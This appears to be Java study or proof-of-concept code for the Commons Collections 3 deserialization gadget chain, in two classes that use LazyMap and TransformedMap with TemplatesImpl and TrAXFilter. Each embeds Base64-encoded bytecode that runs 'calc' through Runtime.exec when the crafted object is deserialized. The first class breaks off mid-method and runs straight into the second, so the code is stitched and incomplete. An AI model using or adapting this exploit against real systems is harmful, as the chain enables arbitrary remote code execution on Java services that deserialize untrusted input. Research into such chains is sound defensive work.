public class cc3_LazyMap { public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, IOException, TransformerConfigurationException, Base64DecodingException { System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true"); try{ //字节码 byte[] code = Base64.decode("yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAKAAQADAANAA8AEAANABEADgAVABAADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFAANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGAANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj");
//反射设置 Field TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][]{code}); setFieldValue(templates, "_name", "HelloTemplatesImpl"); setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
//Transformer数组 Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//LazyMap实例 Map uselessMap = new HashMap(); Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer);
public class cc3_TransfromedMap { public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, IOException, TransformerConfigurationException, Base64DecodingException { System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true"); try { byte[] bytes = Base64.decode("yv66vgAAADQAMgoAAgADBwAEDAAFAAYBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwgADgEABGNhbGMKAAgAEAwAEQASAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwcAFAEAE2phdmEvbGFuZy9FeGNlcHRpb24KABMAFgwAFwAGAQAPcHJpbnRTdGFja1RyYWNlBwAZAQAfbWFpbi9qYXZhL2NjMi9UZXN0VGVtcGxhdGVzSW1wbAEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAEdGhpcwEAIUxtYWluL2phdmEvY2MyL1Rlc3RUZW1wbGF0ZXNJbXBsOwEADVN0YWNrTWFwVGFibGUBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAFlRlc3RUZW1wbGF0ZXNJbXBsLmphdmEAIQAYAAIAAAAAAAMAAQAFAAYAAQAaAAAAfAACAAIAAAAWKrcAAbgABxINtgAPV6cACEwrtgAVsQABAAQADQAQABMAAwAbAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAFQASABwAAAAWAAIAEQAEAB0AHgABAAAAFgAfACAAAAAhAAAAEAAC/wAQAAEHABgAAQcAEwQAAQAiACMAAgAaAAAAPwAAAAMAAAABsQAAAAIAGwAAAAYAAQAAABYAHAAAACAAAwAAAAEAHwAgAAAAAAABACQAJQABAAAAAQAmACcAAgAoAAAABAABACkAAQAiACsAAgAaAAAASQAAAAQAAAABsQAAAAIAGwAAAAYAAQAAABoAHAAAACoABAAAAAEAHwAgAAAAAAABACQAJQABAAAAAQAsAC0AAgAAAAEALgAvAAMAKAAAAAQAAQApAAEAMAAAAAIAMQ==");
TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][]{bytes}); setFieldValue(templates, "_name", "HelloTemplatesImpl"); setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}), }; Transformer chainedTransformer = new ChainedTransformer(transformers); Map useless = new HashMap(); useless.put("value", "ycxlo"); Map transformedmap = TransformedMap.decorate(useless, null, chainedTransformer); Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = a.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, transformedmap); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(invocationHandler); oos.close(); ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray()); ObjectInputStream ois = new ObjectInputStream(in); Object ob = (Object) ois.readObject(); } catch (Exception e) { e.printStackTrace(); } } public static void setFieldValue(Object object, String fieldName, Object value) { try { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(object, value); } catch (Exception e) { e.printStackTrace(); } } }